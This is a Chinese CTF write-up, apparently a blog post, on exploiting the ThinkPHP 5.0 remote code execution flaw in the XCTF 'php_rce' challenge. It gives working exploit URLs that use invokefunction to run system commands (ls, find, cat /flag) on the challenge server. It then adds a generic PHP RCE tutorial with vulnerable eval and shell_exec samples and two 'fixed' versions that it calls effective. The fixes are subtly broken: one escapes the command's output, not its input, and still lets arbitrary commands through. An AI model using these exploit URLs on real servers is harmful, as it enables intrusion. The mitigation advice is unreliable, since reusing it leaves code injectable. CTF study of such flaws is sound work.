XCTF-攻防世界CTF平台-Web类——3、php_rce(ThinkPHP V5.0框架远程代码执行漏洞)

本文详细介绍了ThinkPHP5.0框架的一个严重远程代码执行漏洞,该漏洞允许攻击者通过构造特定URL来调用任意类方法,如使用`invokefunction`反射函数执行系统命令。攻击者可以利用此漏洞执行ls、find等系统命令,查找并读取敏感文件,例如找到并显示flag文件内容。解决该问题的关键在于更新到安全版本并加强输入验证。

先访问题目场景:
在这里插入图片描述

主页提示我们:网页使用的是ThinkPHP框架,版本为5.0
这道题主要是考察:ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本。
攻击的exp是:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
在这里插入图片描述
通过s就可以获取路由信息,程序未对控制器进行过滤,导致攻击者可以用 \(反斜杠)调用任意类方法。其中:

  1. index/是对应的模块
  2. \think\app 以反斜线开头,这就是我们想要实例化的类
  3. /invokefunction是让\think\app类想要调用的方法,
  4. function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1是对应invokefunction的参数。

对于选用invokefunction这个函数,是因为它是个反射函数,可以方便的调用任何函数。
关于如何解析把function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1这些解析成invokefuncition参数的,可以看下Request.php 对应的param函数。
需要注意的是不同版本的ThinkPHP,对应的文件、类名有些差异。当然还有很多的攻击方式,只要你去文件找到可以实例化的类构造相应的payload就行。

运行shell命令ls查看当前目录下的文件:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
在这里插入图片描述
可以看到当前目录下的文件
查找根目录下的文件:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
参数/是根目录的意思,这表示显示根目录下的文件:
在这里插入图片描述
也可以使用find命令查找flag:

find / -name flag

或者

find / -name '*flag'

攻击:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag
在这里插入图片描述
都可以找到flag文件所在的位置
之后使用cat命令查看/flag文件内容:

cat /flag

攻击:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
在这里插入图片描述
得到flag:flag{thinkphp5_rce}

### XCTF Web PHP RCE 漏洞利用新手教程 #### 背景介绍 PHP远程代码执行(Remote Code Execution, RCE漏洞通常允许攻击者通过特定输入在服务器上运行任意命令。这种型的漏洞常见于未正确过滤用户输入的情况下调用了危险函数,例如 `eval()`、`assert()` 或反序列化操作等[^1]。 #### 常见的PHP RCE触发方式 以下是几种常见的PHP RCE触发机制及其原理: 1. **Eval 函数滥用** 当应用程序使用 `eval()` 来动态执行字符串形式的PHP代码时,如果该字符串来源于不可信的用户输入,则可能导致RCE漏洞的发生。例如: ```php <?php $input = $_GET[&#39;code&#39;]; eval($input); ?> ``` 上述代码片段中,任何传入到参数 `code` 的数据都会被当作PHP脚本执行[^2]。 2. **系统命令注入** 如果程序错误地将未经验证的数据传递给诸如 `exec()`, `shell_exec()`, `passthru()`, 和 `system()` 这样的函数,也可能引发似的后果。 3. **对象反序列化问题** 反序列化的风险在于它可能恢复恶意构造的对象实例,从而操纵内部逻辑或者访问敏感资源。比如当开发者依赖自定义魔术方法(`__wakeup`, `__destruct`)来处理复杂状态转换的时候特别需要注意安全性设计缺陷带来的隐患。 #### 解决方案与防护措施建议 为了防止此安全事件发生,在开发过程中应该遵循最佳实践原则并采取必要的防御手段: - 避免完全信任来自外部环境的信息流; - 对所有进入系统的变量实施严格的白名单校验策略而非黑名单排除法; - 替代高危内置功能以更稳健的方式实现相同业务需求; - 定期审查现有架构是否存在潜在弱点并通过单元测试加以确认其健壮程度。 #### 示例代码分析 下面给出一段可能存在安全隐患的实际应用例子以及如何修复它的办法: 假设有一个简单的留言板服务端接口如下所示: ```php <?php if(isset($_POST["cmd"])){ shell_exec($_POST["cmd"]); } ?> ``` 这段原始版本很容易遭受非法操控因为直接把客户端提交过来的内容作为操作系统指令去执行没有任何保护机制存在其中。我们可以通过修改后的版本展示改进之处: 修正版一:采用预定义选项列表限制可选动作范围 ```php <?php $allowed_commands=[&#39;ls&#39;,&#39;-la&#39;,&#39;pwd&#39;];//仅允许列举目录结构查看当前路径两项基本查询行为 $input=trim(filter_input(INPUT_POST,&#39;cmd&#39;,FILTER_SANITIZE_STRING)); if(in_array($input,$allowed_commands)){ echo shell_exec($input); }else{ die(&#39;Invalid Command&#39;); } ?> ``` 修正版二:运用正则表达式匹配限定字符集构成合法请求模式 ```php <?php $pattern=&#39;/^[a-zA-Z0-9\s]+$/&#39;; //只接受字母数字空白符组成的简单语句 $input=filter_input(INPUT_POST,&#39;cmd&#39;,FILTER_DEFAULT); if(preg_match($pattern,$input)){ echo escapeshellarg(shell_exec($input)); } else { die(&#39;Malformed Input Detected!&#39;); } ?> ``` 以上两种不同的改写方向均能有效降低原生脆弱性的暴露概率同时兼顾功能性保留部分必要交互能力满足实际场景下的平衡考量。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值